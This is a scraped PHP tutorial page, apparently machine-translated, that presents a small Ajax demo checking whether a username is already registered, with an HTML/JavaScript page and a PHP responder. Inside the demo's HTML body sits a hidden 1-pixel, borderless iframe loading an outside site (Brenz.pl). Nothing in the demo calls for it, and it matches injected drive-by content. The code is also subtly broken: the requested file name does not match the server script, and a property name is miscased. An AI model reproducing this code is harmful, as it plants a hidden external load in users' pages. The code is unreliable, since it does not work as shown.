Home >Backend Development >PHP Tutorial >Combining PHP and Ajax to implement login verification small demo, combining phpajax demo_PHP tutorial
AJAX is "Asynchronous Javascript And XML" (asynchronous JavaScript and XML), which refers to a creation Web development technology for interactive web applications.
AJAX = Asynchronous JavaScript and XML.
AJAX is not a new programming language, but a new way of using existing standards.
AJAX is the art of exchanging data with a server and updating parts of a web page without reloading the entire page.
Design a user registration page. When the user enters the registration name, check whether the user name already exists. If it exists, give a prompt
Let’s open index.php first
<html> <head> <meta http-equiv="content-type" content="text/html; charset=gb2312" /> <script type="text/JavaScript"> function Ajax(){ var xmlHttpReq=null;//初始对象xmlHttpReq if(window.ActiveXObject){ xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); }else if(window.XMLHttpRequest){ xmlHttpReq=new XMLHttpRequest(); } var userId=document.getElementById("userId").value;//value取得id为userId的值 url="u.php?userId="+userId;//路径 if(xmlHttpReq!=null){//若对象实例化创建成功 xmlHttpReq.open("GET",url,true);//open()打开请求 xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() xmlHttpReq.send(null);//请求不包括正文 } function RequestCallBack(){//回调函数 if(xmlHttpReq.readystate==4){ if(xmlHttpReq.status==200){//请求成功 document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div } } } } </script> </head> <body> <font> 注册 </font><br> <form> 用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> <div id="get"> </div> </form> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html>
welcome.php
<?php header("content-type:text/html;charset=gb2312"); //sleep(1); $userId=$_GET["userId"]; if($userId=="管理员"){ echo "用户名已存在!"; }else{ echo "该用户名可以注册"; } ?>
This is where I introduce to you the relevant knowledge about the small demo that combines PHP and Ajax to implement login verification. I hope it will be helpful to you!